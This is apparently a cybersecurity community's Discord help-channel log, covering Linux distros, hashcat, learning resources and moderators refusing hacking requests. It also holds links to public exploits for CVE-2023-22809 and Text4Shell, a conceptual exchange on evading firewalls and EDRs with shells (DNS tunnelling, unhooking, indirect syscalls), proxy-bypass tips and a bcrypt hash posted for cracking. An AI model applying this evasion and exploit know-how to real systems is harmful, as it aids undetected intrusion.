👥・help-me

[upbeat veldt]

I would suggest something a little more stable like Ubuntu or pop os for bare metal daily driver... And just add the tools as you need them

[echo tree]

yeah

[uncut wedge]

that'll be a pain if he wants to operate it solely for cybersecurity

[echo tree]

i dont know, i don't like ubuntu

[echo tree]

Yeah it takes alot of time

[upbeat veldt]

Well a Kali VM would be the way to go

[echo tree]

i think Parrot is more stable than Kali on the main OS

[uncut wedge]

it's not stable, but it's potato-friendly

[echo tree]

Yeah i only use kali on my pc but on VM

[uncut wedge]

so it'll run better in old laptops

[upbeat veldt]

For bare metal tho could be a pain if you go to update and upgrade your Kali packages and everything breaks...

[echo tree]

That is what i'm scared of

[upbeat veldt]

Chances are you won't need every single tool Kali comes pre installed with either...

[echo tree]

Yeah for sure, i dont even know some of them

[echo tree]

what about Parrot?

[upbeat veldt]

I haven't tried parrot

[echo tree]

I've heard that parrot is better on bare metal than kali

I would've gone with kali

[upbeat veldt]

I use Kali VM and pop os as daily driver... Just install tools as I need them... And installed some other things like syntax highlighting, etc...

[uncut wedge]

it's simple tbh. you want speed and less lags, use parrot. you want efficiency and robustness, use kali. both use apt and have a wider support for tools. also select displayman with caution as kde can desperately reduce performance

[upbeat veldt]

I like some of the features pop os has like encrypted storage, history auto complete etc... and it's made for bare metal... Can always check out system76 laptops.... Can get up to 96 Gb ram and 12tb storage....

[echo tree]

But it does not have tools pre installed, it looks fit for my laptop, but i dont knwo yet

[upbeat veldt]

It does not... But they can be installed if you know what tools you need...

[versed vale]

I no, I want to locate where I can pay for them and if you have a free one you can help me with I don’t mind

[final breach]

hey anyone have expertise in hashcat

its showing balck screen while i running it in windows 11

[uncut wedge]

run it in linux

[upbeat veldt]

He's probably trying to utilize the gpu and would need to be ran on host machine... You could always try john on Linux machine or an online hash cracker first... Might get lucky and hash has already been cracked... Or you could do hashcat from VM might just need to add the force flag but then you are not utilizing gpu, instead cpu which would be a little slower...

[final breach]

yap but i cant give the dedicated gpu to the virtualbox

and without dedicated gpu its no use to run the hashcat

[final breach]

yaa

i tried all the drivers and all possible options

cuda and all

[upbeat veldt]

Ok here's the real question... Is the hash for a ctf or real life???

[final breach]

ctf offcourse

i just trying to decrypt some salted hashes

i updated my graphic card's drivers recently is the issue related to drivers

@upbeat veldt

[uncut wedge]

not if you're doing a ctf. i usually use hashcat in my vm for doing ctfs and i don't find a problem at all

[upbeat veldt]

If it's for ctf then chances are it has already been cracked and could possibly find it on online.... Could try hashes.com or crackstation... Also John the ripper can crack salted hashes might be slower than hashcat but if all else fails id go with John...

[final breach]

yaa but it is very time consuming though to do it in vm specially doing brute force attack

[final breach]

ok i will try by doing it with John the ripper , Thanks

[upbeat veldt]

True but as of right now you are not cracking anything....

[final breach]

yaa

[uncut wedge]

if it's not working in windows, you better save up time and at least start it in the vm for the time. ctf devs know you will use rockyou and they won't keep the entropy as much because they want you to crack the hash

[final breach]

yes i will start dictionary attack in vm , Thanks

[uncut wedge]

also figure out what hash ID to use now that you'll be running it

[final breach]

yes its 3200 i think

[uncut wedge]

oki

good luck

[final breach]

Thanks

[neat lily]

Hi can anyone tell me what can I use to encrypt my voice through phone call

[barren terrace]

(+) use a cryptographic radio technique used to obfuscate your sentances

[silent bay]

any advice for starting out c++??? should I use codecademy to learn, or what is the best way to learn

[past wing]

https://www.learncpp.com/

[silent bay]

thanks

[past wing]

no problem
there are many other resources tho
this the one i liked
and about paid courses im not pretty sure about them

[neat owl]

Is connectbot a good ssh client for Android, I've used it before it was ok, I didn't use it again after a while

[lethal scarab]

gm y'all
please is there resources or video link that'll take me from zero to hero in cyberSec.
i already have kali installed in a vm

[shadow fractal]

Check #1181325692823150642

[lethal scarab]

thanks

[lethal scarab]

is there anyone with a team tryhackme subscription? I'd like to join and pay.
the single one is expensive.

or is it possible to learn well without the premuim?

[upbeat veldt]

i would start off doing all the free material first before jumping into a subscription. will save alot of money that way .... can even do the free stuff on THM then transition in the free stuff on HTB

[lethal scarab]

ohhk
thanks for your advice my good ser.

what's HTB btw?

[upbeat veldt]

no problem, Hack The Box

i would suggest doing that 2nd if you are just starting out since those machines are a little harder than tryhackme

[lethal scarab]

ofc
thank you

[true quartz]

anyone can suggest a secure good vpn that i can use

[shadow fractal]

@hazy panther https://youtu.be/KWVte9WGxGE?si=z3SlTDqKXSrGKB-0

I saw that this helped one person

Might be the case

Idek

[lethal scarab]

windscribe for mobile
proton for pc

[shadow fractal]

Mullvad

[true quartz]

ok thank you

[sturdy warren]

I'm just learning basic html amd css, how do I make it so that a button changes color when I hover over it the same as doing cursor: pointer; makes the cutsor a hand when hovering over button?

[lethal scarab]

button:hover

[sturdy warren]

I'll try it, thank you very much🤝

[lethal scarab]

button:hover {
background-color: green;
}

[sturdy warren]

I see

Thanks

[lethal scarab]

you're welcome

worked?

[sturdy warren]

I'm kinda not on my pc now but I'll definitely let you know when I try it

[lethal scarab]

alright
no problem
anytime

[fast maple]

@vestal slate yooo was up

@vestal slate yo brodie you here

[vestal slate]

yo

[vestal slate]

yeah

[fast maple]

yea so what do you need help in bro tell me

[lean plume]

Goodmorning

[uncut wedge]

morning!

[modest comet]

guys anyone knows how to get ip address of an insta user?

[lean plume]

@quasi berry did u find any thing

[quasi berry]

#📜・rules

[quasi berry]

I did not

[wintry sigil]

Where do I start with hacking and what programming language should I be familiar with?

[shell sinew]

I recommend trying out tryhackme[.]com

solid knowledge

then jump into hackthebox, start with starting points then machines

you could check out hackthebox academy too and choose what is better for you (tryhackme or hackthebox academy)

[lament walrus]

Theoretically speaking

Could i buy a chinese ev

Jailbreak it

And play mario kart

is there like some kind of rubber ducky/OMG like thing i could use to do that?

[quasi berry]

Wdym by a Chinese EV?

[maiden violet]

Read the #📜・rules

[maiden violet]

I think he is trying to say a cheap EV

[quasi berry]

I meant the EV part

Electric Vehicle?

[maiden violet]

Yes

[quasi berry]

You can definitely jailbreak the thingy, and play games but I don't see that running well

[maiden violet]

I don’t understand how you need a rubber ducky for it

[quasi berry]

You don't

[quasi berry]

Yeah this is the place

Let's get to business

How much do yk about Windows?

You're gonna need to know fundamentals of both, and Networking; For Networking you'll have to cover stuff like TCP/IP and OSI model

Windows is used a lot on servers and stuff. For now you can learn fundamentals and stuff, then eventually you can learn NTLM, Kerberos, etc

We have a #1181325692823150642 channel where I have put a ton of resources. HackTheBox Academy, and Tryhackme are 2 of the top recommendations; do you have any specific VARK learning style?

https://cdn.discordapp.com/attachments/1267664851224756246/1270311108099571763/image.png?ex=66b33ce9&is=66b1eb69&hm=d69744436dc9a897b9746d69880c08b94b0a8f88a945d0964043b7a98e02838d&

This is what VARK is; and if you're neurodivergent (like myself) then you may benefit from a more gamified platform

Yeah so if there is any which you feel fits you, lemme know so I can fetch you some learning resources which will hopefully be receptive for you

So hands on stuff

Check this platform out and lemme know how you feel about it: https://www.immersivelabs.com/cybermillion/

You can also @ me

I know I have the mod role, I also have the mentor role because this is my thing :)

I'd say start with following A+

There are plenty of resources pinned in #1181325692823150642 so feel free to check those out too. When you get onto looking into Windows and Linux then you can install VMWare eSXI, Parallels or UTM which are virtualisation software for Mac, it'll allow you to setup VM's so that you can setup networks and stuff.

Typically pentesters will use a Linux based OS (Parrot / Kali) for pentesting, so you could setup a Linux distro as your attacker machine, and setup Windows machines on a VLAN which will include the Active Directory, Domain Controller, and then the Clients.

Don't jump straight into doing that with virtual machines unless you're at that part so you're able to follow the video or whatever it is that you're using

And if you have any questions, or would like me to personally go over setting stuff up like that with you then let me know

Yup

It wouldn't hurt to set it up, though it will come up later on :)

Here is a cheat sheet for linux commands: https://cheatography.com/davechild/cheat-sheets/linux-command-line/

Typically you can find cheat sheets for tools, and if you can't then use man pages, -h, or --help on the command; any decently programmed tool will have a help menu

And if it doesn't? It's a shit tool 🙏

Do not be afraid to play around with Linux either, and if you ever get into the privacy side of things, you can either check #1187866812235386920 or my page: https://ben4sec.wordpress.com/services/ :)

Sometimes @mortal phoenix comes into the chat so if there's smth Windows related that I don't have the answer to, he will know. He's currently at the defcon hotel rn so his interactions here will be limited

[uncut wedge]

i do some windows too 😦

[quasi berry]

Oh yes you do; I'm sorry 🥹

My bad Mimi

[uncut wedge]

that's fine hehe

[maiden violet]

What does dark blue mean

[quasi berry]

You mean Purple?

[quasi berry]

🙏

[maiden violet]

Yeah

[idle wraith]

Good morning professions,
Please I need resources to prepare for CISA exam.
I will be glad if I can get any useful resources to help me prepare better

[quasi berry]

Which CISA exam is it?

https://www.cybersecurityeducation.org/certifications/cisa/ ?

[chilly merlin]

I see a goat typing

[mortal phoenix]

You’ll definitely want to know Windows and Linux as you get deeper into this. Those are predominantly the two main systems used in the world. Linux for servers (some of us use it for desktops but not so much in enterprise), windows for desktops and servers. Active Directory is still huge in Windows even though businesses are shifting more to Intune/Azure for a more serverless solution called DaaS (Directory as a Service).

You’ll definitely want to understand IAM (Identity and Access Management) concepts with AD e.g. Kerberos. But also LDAP and maybe eventually OIDC, Oauth, and SAML.

Like @quasi berry said I’m at Hacker Summer camp this week currently at B sides, then will be at DEFCON at least until Sunday

[chilly merlin]

Goat is still typing

[gloomy arch]

do u prefer parrot OS?

[mortal phoenix]

Mac will, IMHO be a hindrance and limitation in the long term when learning a lot of these things. It can get you started @chilly merlin but there’s a reason I ditched my own Mac about a decade ago

[mortal phoenix]

For laptop to have bare metal offensively security Linux installed without too much tweaking, yes. When I get home I may play with Black Arch though as I hear good things. Kali is better IMHO as a VM or flash drive

[quasi berry]

Bloody wonderful response; I was expecting a good one but damn you went all out with that 🙏

[mortal phoenix]

I just do what I wish was there for me when I started 😅

[gloomy arch]

good to know, just wanna have a main OS to both study and to use the tools to my advantage

[mortal phoenix]

Parrot is a good blend of daily driver and security tools. I still prefer Pop!_OS for my daily and gaming as they do a ton more polish to make it great for gaming but I have it on my System76 Pangolin and will get more into offensive security once I finish my CISSP and maybe CCSP

[gloomy arch]

nice, thx for the response 🔥

[quasi berry]

I couldn't agree more with Pop!_OS tbh

It's great for gaming, and if you have a nvidia graphics card then you can choose the download which has the driver pre-installed though it is not difficult to install the driver yourself via the store or cli

[mortal phoenix]

Yeah but did you hear Nvidia is open sourcing kernel drivers starting with 560?

[quasi berry]

Wait wait wait, they are committing to doing this?

[gloomy arch]

yall are nvidia users?

[mortal phoenix]

Yeah found a link on mastodon last night as I was flying one sec

[quasi berry]

Yeah

[gloomy arch]

Absolute crazy

im an intel user

[quasi berry]

This is news to me

[mortal phoenix]

Yeah 3070 in my Linux workstation (need it for LLM’s and some hash cracking tinkering)

[quasi berry]

Intel HD graphics?

[mortal phoenix]

3050 in my windows enterprise stream box

[gloomy arch]

Of course

Actually

No

Ultra HD

[mortal phoenix]

Did you one better GitHub @quasi berry https://github.com/NVIDIA/open-gpu-kernel-modules

[gloomy arch]

on my gaming pc, its just a radeon rx 6600

[quasi berry]

I hate hate hate intel's menu for changing stuff

The menu name escapes me 🤣

[gloomy arch]

u know what, i can agree with that

[quasi berry]

Oooh

[mortal phoenix]

It’s like Ohio weather don’t like it wait 15 minutes

[quasi berry]

😭

[quasi berry]

That is one way of putting it, and customisation is minimal last I checked

[mortal phoenix]

Yeah I’m all in for AMD right now until RISC-V gets there then fuck x86 as a whole and fuck ARM too

[gloomy arch]

nvidia make some decent graphic cards, yet they cant make a decent graphical menu

[mortal phoenix]

They’re the Beethoven of GPU

[quasi berry]

How long do you reckon RISC-V will take?

[gloomy arch]

beethoven have to retire someday huh

[mortal phoenix]

Right now it’s on par for Core 2 duo speeds so give it 5 years I say 3 at best

[quasi berry]

Fair enough; if they somehow surprise us in less than that I will be gob smacked

[rigid panther]

I didn't want to put payment method

[rigid panther]

@quasi berry what can I do

[cerulean stump]

Is there a way to find out which number is behind a private number?

[lament walrus]

Anyone have any tips on how to treat RSI from repetitive m and k use?

I've been typing too much 😭

[uncut wedge]

what's rsi

[edgy breach]

hihi! i was doing some tests in a website and in both my nmap results and nessus scans results, i stumbled upon an akamaighost server (and i imagine that its a proxy to protect the original target)... is there a way to bypass it?

[tepid pivot]

Hi guys I need help can anybody help me with internships like where can I apply I am looking for an entry level job but I am not getting anywhere , please help

[uncut wedge]

idkk if i'm allowed to help with that. @shadow fractal

[uncut wedge]

different countries have different platforms. i think indeed is everywhere

[shell sinew]

I've sent it to him

[uncut wedge]

thank you 💜

[tepid pivot]

It’s not helping tried indeed linked in

[shell sinew]

try just googing <position> <your_citty>

[shadow fractal]

We do not do taht here

[uncut wedge]

what experience do you have btw if i can ask 🙂

[shadow fractal]

Check #📜・rules

[uncut wedge]

thank youuuu

[shadow fractal]

Thank you @uncut wedge and @shell sinew

[tepid pivot]

I am a diploma graduated as a computer programmer in IOT as specialization

And I am a fresher so yk it’s so tough idk I am just so tired of getting that mails unfortunately

[edgy breach]

oh sry sry
i didnt know if it was considered unethical because it is a vdp program

[shadow fractal]

We do not truly know full context

You did a scan

You found something

Thats why we refer to rules and from this side it is unethical

If you have the proof

For the vdp

[edgy breach]

oh wait

[shadow fractal]

Then someone might assist you

Other then that

Sorry

[uncut wedge]

make as many connections as possible. attend meetups, conferences etc, socialize with people, write them mails or connect in linkedin and develop a bond. they can directly have you qualified for interviews. also you can directly apply to companies using their portal without linkedin or indeed. also connect to professionals in iot applications and talk to them. doesn't matter if they don't respond

sometimes it can take time but you'll get positive results 🙂

[edgy breach]

https://hackerone.com/expediagroup/policy_scopes i was checking this one

[uncut wedge]

ohhh you're doing a bug hunt

[edgy breach]

this one in specific is their vdp program!

[uncut wedge]

got youu

[tepid pivot]

Right thank you for this I will do that thank you I appreciate ur help and also if u guys have any idea for internships, can u get me somewhere?

[uncut wedge]

general rule is you don't do nmap scans on a live target 🙂 nessus is oki because it's less noisy. you can do a stealth scan in nmap but it will still trigger alarms. i can't straightaway tell you how to bypass it but do more recon on the proxy. it will 100% be using whitelisting rules and cookie policies. you can use postman to try to manipulate cookies. also i have seen akamai servers use websockets to communicate with the assets so if you figure out what websockets protocol scope is using, you can try looking up bypass tck. also don't forget to tweak with api if in scope

normally apis have direct access to certain resources without proper csp

[edgy breach]

okay! ill do more research on the proxy, and thanks for the advice with nmap! (and sorry about earlier 😭 ill try to be more specific next time)

[uncut wedge]

it's fine, and good luck 💜

[edgy breach]

sankyuu!!

[lament walrus]

repetitive strain injury

aka my pinky finger hurty cuz mouse :(

[uncut wedge]

ohhh

don't know anything about it, i'm sorryy 😦

[edgy breach]

i usually take anti-inflammatory and do cold compress

[lament walrus]

Like a cream/lotion?

[edgy breach]

mm ibuprofen and a bag of ice works for me but maybe an anti inflammatory cream should do the job

[lament walrus]

ohhhh

Ibuprofen and ice

😭

Ty

[edgy breach]

its tiring to do every time

but it helps the pain to go away

[dark wadi]

Can a person become self taught hacker

??

[chilly merlin]

Yep im one and a lot of people are

[boreal solstice]

Yes

[dark wadi]

What are some good learning resources to become a self taught hacker?

[dark wadi]

How can i become one?😶‍🌫️🥺

[chilly merlin]

if you want to learn i recommend going to https://tryhackme.com/ and do the pre-security and introduction to cyber security

[dark wadi]

Thanks brother 🫂

[uncut wedge]

i never went to uni

[quasi berry]

No racial slurs. #📜・rules

[quasi berry]

Regarding?

[chilly merlin]

can i get help on how to go about on this. Text4shell & CVE-2023-22809. I don't know where i can even start from

[dawn pilot]

Can I get help on finding my school acc password I forgot it

[quasi berry]

Contact your school's IT support.

[dawn pilot]

who is it support

[uncut wedge]

exploit-db

[uncut wedge]

....

[shell sinew]

its not there

https://github.com/n3m1sys/CVE-2023-22809-sudoedit-privesc

https://github.com/kljunowsky/CVE-2022-42889-text4shell

[uncut wedge]

nicee

[shell sinew]

@shadow fractal @quasi berry

[hybrid gulch]

I will pay good money to get work done...

[shell sinew]

what work

[knotty ridge]

@quasi berry dm me

[quasi berry]

Why?

[knotty ridge]

Wanted to know what kind of work you wanted it done, sorry if I offended you.

[uncut wedge]

he wants to root his institution tablet which in one sense is illegal

[shell sinew]

@quasi berry up

[quasi berry]

It's not me looking for work to be completed?

[quasi berry]

Idek what Ant is referencing here

[uncut wedge]

@quasi berry

[quasi berry]

Ohh yeah since it's not his that is illegal

[uncut wedge]

yess. he's asking for people from here to root it for him for money 🙂

[quasi berry]

If he continues he will be punished

[uncut wedge]

bonked

[shell sinew]

anyone here knows how to use SAP Logon?

need help with creating user, roles etc.

[chilly merlin]

Hi

[urban zephyr]

Hey everyone, I don’t speak English well so sorry in advance. And I’d to know if someone knows how can I recover my instagram account. I don’t have the password anymore neither the mail which is linked to it. Can I get some help..?

And also is there anyway to download all TikToks from an banned account or not ?

[quasi berry]

No

[quasi berry]

Instagram support can help you with that

[urban zephyr]

Alright I’ll see that thanks ✨

[shadow fractal]

No self promoting

[shell sinew]

We do not do that here, #📜・rules

[chilly merlin]

okk

[sinful marsh]

I need to hack a scammer

[chilly merlin]

We do not do that here, #📜・rules

[chilly merlin]

what are evasion techniques for firewalls when establishing a shell instance ; so far I know encrypted connection, fragmentations, and packet manipulation and im wondering if there are other techniques used to reduce the amount of noise created to evade SOC Analysts

[uncut wedge]

there are many possibilities. dns tunneling wherein you communicate to your shell via dns queries, lns (low and slow) attacks where you send data in irregular fragments to avoid rate-based detection

umm

then you have polymorphic shellcodes

that tweak themselves with each execution to avoid heuristic detection

[chilly merlin]

yea ik that but its on disk and memory

im not worried abt that i can stay hidden from AV and EDRs im just confused abt network traffic

[uncut wedge]

if i was you i'll worry about edrs more than i'll worry about network persistence. you can persist the connection with encapsulation on a specific port that the domain is not too concerned about. you will be needed to do some trial-n-error with the waf to figure out which endpoints are whitelisted

the main problem is how you will counter the edr

edrs are notorious for killing connections with shells that run in memory

[chilly merlin]

interesting

there are myriads of techniques to evade EDRs (which i am familiar)

after seeing what you said im pretty sure in my case its that im more familiar w EDRs than firewalls

[uncut wedge]

they have several dll droppers that execute themselves into the memory to figure out how the process is doing, then having appropriate actions to stop it. there are certain tricks of bypassing this such as preloading or tartarus' gate but not all edrs will have a delayed execution sequence

[chilly merlin]

unhooking procs and indirect syscalls are also there

wait

nvm

[uncut wedge]

in most cases you won't be privileged enough to unhook a process or issue a syscall because you'll be sandboxed in a powershell session. in such cases escaping the box is possible by updating registry keys which bridge between an unauthorized session and syscalls. you need to figure out which registries/privs allow that to happen. i'm pretty sure that, or certain directories are whitelisted which bridge between both realms

[chilly merlin]

ion mean by that type of thing

what i mean is the way EDRs monitor ur program is by injecting a dll and hooking API calls so what you would do is either override that dll so it would terminate process or u manually call the functions via inline ASM and jumping to syscall to ntdll after setting up registers to call winAPI functions without having it hooked

[uncut wedge]

yess, but it will have many challenges as well the first one being the detection of dll tampering. the edr can simply detect the tampering and kill the tampering process instantly eliminating your shell. another problem is inline asm like you mentioned. if you make any human error in calling out the functions it can trigger alarms. also nowadays edrs come with insane behavioral analysis models which instantly catch malicious syscall usage and quarantine the suspected process

also edrs such as sentinelone now offer kernel-mode hooking, which makes it close to impossible to bypass their monitoring based on user-mode evasion techniques. there are some methods to counter this but I can't disclose them

[chilly merlin]

thats what blackbox testing is all about :3

put in the hours to reduce the errors

[uncut wedge]

truee 🙂 it all depends on trial-n-error

[chilly merlin]

nothing beats that :3

or almost nothing

cant beat ring 0 detection being above it 😔

[uncut wedge]

yess. people generally undervalue what edrs are capable of and that's oki. the average av is faaaaaaaar more simpler in logic and function than an enterprise endpoint security solution

[chilly merlin]

real

[modest hazel]

Hi @uncut wedge

[quasi berry]

#📜・rules

[tame spruce]

I'm trying to run the wifite and i had to go get a WIFI adaptor i got (Nighthawk® AXE3000 WIFI 6E USB 3.0 Adapter) and it should be compatible with kali but it doesn't show that

[heady brook]

Need help to crack this, taking ages (probably need a good word list) $2y$10$kQ0KEj2apt2rMAGX15FC8.o6AX7CtUGtfG2isOkB6DSuufq/OTYNu - Possible algorithms: bcrypt $2*$, Blowfish (Unix), bcrypt(md5($plaintext))

I'll highly appreciate

[boreal solstice]

@quasi berry

[quasi berry]

I'm going out soon

[boreal solstice]

https://tenor.com/view/byuntear-baby-cry-crying-gif-25019897

[quasi berry]

You don't need to be a mod to help ❤️

😭

[uncut wedge]

hii

[uncut wedge]

use the bcrypt algo to crack it. you can use hashcat and rockyou i think

also make sure the hash isn't salted

[quasi berry]

Thank you for keeping me updated; how are you finding it? :)

[quasi berry]

That's wonderful

[urban zephyr]

Hi everyone, I saw srhoe on instagram saying that he found a way to watch a private instagram story, y’all have an idea of how to doin it or not ?

[quasi berry]

Watch it privately* not watching the story of a private account

[modest hazel]

I'm good. and you?

[uncut wedge]

i'm oki at work

[chrome totem]

heyy i want learn how to hack my friends passwords

[uncut wedge]

kim jong un has friends? hehe

and don't do it without their approval. bad bad

[sly spire]

Don't dare start a love chat here .. 😉

[sly spire]

what do you do?

[uncut wedge]

i'm a jr pentester

[sly spire]

damn

Nice 🔥

[modest hazel]

Come on. Let me have my fun

[uncut wedge]

thank youu 💜

[modest hazel]

Cool

[modest hazel]

Are you an intern.. or you work solo.. for self benefits...

[uncut wedge]

i work full-time

working in a forbes 500

[modest hazel]

Ohh you are like people who could be 24 years but have 30 years experience...

[modest hazel]

That's the Dream.. till Mr.Robot shows up..

[uncut wedge]

lol... i'm 20 tho 🙂

[uncut wedge]

ehhh

[modest hazel]

With 45 years experience..

[uncut wedge]

nooo stop flattering me here

[sly spire]

what about you man?
what's your exp?

[modest hazel]

That was not my aim.. but I'm sorry if I offended you

[modest hazel]

-75 years..

[uncut wedge]

you're all good 💜

[sly spire]

heh 😆

[modest hazel]

How does if work? 20 yrs at full time . I'm 19 but I'm college.. I don't seem to comprehend..

[sly spire]

same man 🤣

[uncut wedge]

i never went to uni. just studied upto high school

[modest hazel]

You in Cyber security?

[sly spire]

me?

[modest hazel]

Yeah

[sly spire]

since i started cyber sec i began thiking why i did not do that...

[modest hazel]

Young prodigy I see...

[uncut wedge]

🙂

[sly spire]

yeah it's been 3~4 months since i started

[uncut wedge]

that's oki

[sly spire]

and third year cs student

[uncut wedge]

my parents couldn't afford my uni that was the main reason

[modest hazel]

I'm in Computer Science.. but I dabble in Cyber security

[sly spire]

dabble?

[sly spire]

ohh yeah i feel that

[modest hazel]

But you are working at a good place... That's Good luck

[sly spire]

but it turns out to be great

[modest hazel]

Sometimes partake in...

[uncut wedge]

yess i did a lot of h1. that got me a job at where i'm working

[sly spire]

ohh

[sly spire]

how many vulns did you find?

[uncut wedge]

i reported 4 in the company that called me in including a 8.0 race condition

[modest hazel]

I bet that also causes sleep loss too...

[modest hazel]

Whoa... A young prodigy....g

[sly spire]

you rock 🔥

[modest hazel]

At this stage.. you could be an admin here...

[uncut wedge]

it initially did and i struggled upto the point i was about to give it all up but i soon started seeing results

[sly spire]

that's the hard part seeing results

[uncut wedge]

thank youuu but no the current ones are doing their best 💜

[modest hazel]

Same... I sleep by 5am most times...

[sly spire]

when i was starting i found like a couple of bugs but they where duplicates and till now nothing

[modest hazel]

They undoubtedly are..

Good luck will come your way dude

[uncut wedge]

i submitted like 30+ bugs where 6 were duplicates so just keep looking 💜

[uncut wedge]

a good sleep schedule will help you survive laziness hehe

[sly spire]

could we do someday a bug bounty together?

[modest hazel]

That's just it.. I can't sleep no matter how I try.. until I complete any task I set

[uncut wedge]

suree but i don't do it much now after my job started. i want to climb the ladders quick so i'm dedicating my everything to the job

[modest hazel]

I can't tag along.. I'm too much of a noob..

[uncut wedge]

that's me hehe

[sly spire]

okay i understand

[modest hazel]

Please do .. I could apply for a jnr intern under you..

[sly spire]

you just take a deep breath and everything's gonna come your way if you work hard to get it

i've been studying non stop for the past 3 months

and trying to find bugs and solving labs....

[uncut wedge]

the interns for this term are full maybe and they're for soc. not sure if they take pentest interns because our work is largely regulated

[uncut wedge]

you'll do greatttt

i believe in you 🙂

[modest hazel]

Don't worry..it all fine.. my real aim is to help.. my county.. There's so much corruption and billions of stolen fund.. I want to find them and stop them.. like a cyber Robin hood

[modest hazel]

Me or @sly spire ?

[uncut wedge]

i like the motto hehe

[uncut wedge]

both of you

[modest hazel]

I might seem a little disturbing. But could I send you a friend request?

[modest hazel]

Thanks I would vouch for you too

[uncut wedge]

sent 🙂

[uncut wedge]

thank youuu

[modest hazel]

Whoa.... I'm kinda an introvert so everything seems strange..

[sly spire]

aren't we all

[modest hazel]

I could swear my case is more unique..

[uncut wedge]

procmon is all about analyzing registry access patterns, network connections and communications and process activities. apimon is mostly winapi behavior analysis, debugging applications etc

[dawn mirage]

Heavenso. I’m brand new and don’t know much at all about coding nor programming even though I’m pretty resourceful and know how to use a computer well. I need to learn the basics and don’t know what’s the best coding language to start with?

Also, I got a free trial for spotify and tradelle and want to try dropshipping. I’m struggling really hard with what I’m doing though and don’t want to give up. It was 7 days free trail and I have 2 days left. I want help getting that working and test it out while I still can :/

If anyone is willing to help me please lmk! I need help!

[uncut wedge]

for the first answer, python

[dawn mirage]

Thank you! I’ll look into learning Python for the first coding language to learn. Where can I start learning that?

[upbeat veldt]

Google is your best friend... There's a bunch of resources out there.. pick one and learn the basics then work on some projects.. just google "python projects for beginners"

[thorn kettle]

I need help

https://x.com/wanderlust3030/status/1821543024704319598?s=61

[dawn mirage]

Thank you! I’ll get started on that

[chilly merlin]

https://tenor.com/view/the-rock-rock-gif-21708339

Im ambivert

[sly spire]

You're what??

[uncut wedge]

you're welcomee 💜

[quasi berry]

I believe that is where they see colour from sound/smell?

Double checking

Oh nvm

If you don’t quite identify as an introvert or extrovert, you may be an ambivert.

Has nothing to do with what I mentioned 😭

What I described is Synesthesia

[uncut wedge]

tooooooo faaar

also @wooden anvil hiiii hope you're okayy 💜

[vapid dew]

is anyone use tryhackme now?

[modest hazel]

I thought ambivert were people who likes to hang out in little group.. introverts by themselves and extrovert within the friend group

[vapid dew]

oh

[quasi berry]

Yess she's okay :)

[modest hazel]

I'm fine..
(I identify as @wooden anvil )
😂😂

[quasi berry]

https://www.simplypsychology.org/ambivert.html

[uncut wedge]

yayy nice to know

[quasi berry]

Not funny

[modest hazel]

On point..

[modest hazel]

Ok.

[quasi berry]

She's being a busy bee

She's my pooks ❤️

[uncut wedge]

busy bees achieve it all 💜

[quasi berry]

Yeah she was doing metasploitable; Ima be so happy for her when she gets her CISSP cert, I believe in her

[sly spire]

Never heard of such thing 💀

[quasi berry]

Now you have

[uncut wedge]

amazingg i'll be happy for her too

[quasi berry]

I'll also get my CISSP someday, I'm just so proud of my pooks, she's going far and it endears me that she's so determined in figuring stuff out herself; though if she gets stuck stuck and it's not a "google" solvable problem, I am sure she'll come to me. She heals me.. 🥹

[uncut wedge]

the healing is eternal hehe. you both are luckyy to be with each other. hopefully i find someone who can heal me up too

[quasi berry]

Her presence has been of a cleansing nature for me; and I hope that for you too Mimi, though for now with your recent break-up (If I'm remembering this correctly?) focus on yourself for a bit and then find someone who is willing to heal with you. Nobody can ever 100% be healed, nobody is perfect so I do not see why it should be a barrier

[uncut wedge]

truee. i'm giving myself some time to cope up with it but sometimes the mind just gets filled up with thoughts you know... i'll be okay tho

tysmm 💜

[chilly merlin]

Well u got from benny

[chilly merlin]

https://tenor.com/view/ban-button-keyboard-press-the-ban-button-gif-16387934

Og motivator benny

[chilly merlin]

Wait what 4th line

[quasi berry]

That's good; and if you ever need to talk my DM's are open. I know what it's like, and tbh I was worried I was going manic last time as I would not sleep at all. "I'll be okay" yeah eventually but doesn't mean you are okay right now, which you're not and who knows how long it'll take for this to pass; you have my support, and you're not alone 🙏

[quasi berry]

4th line?

[chilly merlin]

Break up

[quasi berry]

What are you on abt

Yeah Mimi had a breakup with their now ex; I'm confused what you're questioning

[chilly merlin]

That's it

Mimi thingy

I wonder how u found out

Nvm

Not gonna get into details

I know that feeling

[quasi berry]

Because it was discussed by Mimi

[uncut wedge]

aww tysm for this 💜 i'll keep it in mind

[chilly merlin]

Here?

[quasi berry]

Yeah

[chilly merlin]

Hmm we are with u mimi jus ping me when u feel low @uncut wedge

We will listen love failure songs together

Currently listening one

Please how do I setup this tryhackme so I can do it on my laptop

[chilly merlin]

Wat

It says I have to use openvpn

I don’t know how to set it up

[chilly merlin]

That one

Its easy

Find a YouTube video

Or else ping me

Alright

Thank you

https://youtu.be/IvUsXg8dKds?feature=shared. @chilly merlin

If u still having a hard time

[chilly merlin]

Thank you @chilly merlin

Happy hacking i say

Trap is here

To say something

[upbeat veldt]

Also id suggest downloading and using us-west-1 config for OpenVPN as it seems to have the most success rate... I know a bunch of other users were having issues trying to connect to THM network...

[chilly merlin]

Thank you for the help @upbeat veldt
I will do exactly just that
You have been wonderful so far

[chilly merlin]

Well there are good peeps jus need to find them

[uncut wedge]

thank youu 💜 i'll remember to

[uncut wedge]

noo please i'll cry...

[obsidian umbra]

wsg guys

[undone compass]

Hi guys I'm new to all hacking can some one give directions how to start my journey?

[upbeat veldt]

Id start with tryhackme's complete beginner module and then look into some of the other modules that peak your interest. Once you get comfortable enough on THM then I'd suggest to make the switch to hackthebox

[undone compass]

Thanks for the tip I'll try my best

[upbeat veldt]

Good luck have fun 🎉

[lament walrus]

anyone have a good note taking/ schedule planning app?

Preferably on android

[shadow fractal]

Obsidian is nice tbh

Sadly I am not too keen on using it

I am that person who keeps everything in my head

A more simple explanation

Ech, idk why, but if things are hardwr to accomplish I like it more

Weird thing

Notes would help me a lot

But I just can’t get myself to do them

Idk why or how

But maybe sometime

Other then that, back to original topic, most of peeps I know use Obisidian

And the responses are quite good

Not perfect ofc

As per everywhere, there could be better things

[valid moth]

How did you guys manage to memorize the abundant terms and acronyms? Ive always struggled with termonolgy and rout memorization.

Its not entirley impossible for me to do of course. But some I do want to learn a few habits to make this a skill I can utilize.

Mmm Ill have the repetition down by nature of the task. But Mnemonics and contexual learning are something Ill look into.

Thanks ;3

[timid cargo]

does anyone know some good university to study a MSc in cybersecurity in EU? much appreciated in advance

[maiden violet]

Oxford

Delft

Twente

[maiden violet]

Europe?

Or union

[timid cargo]

union preferably

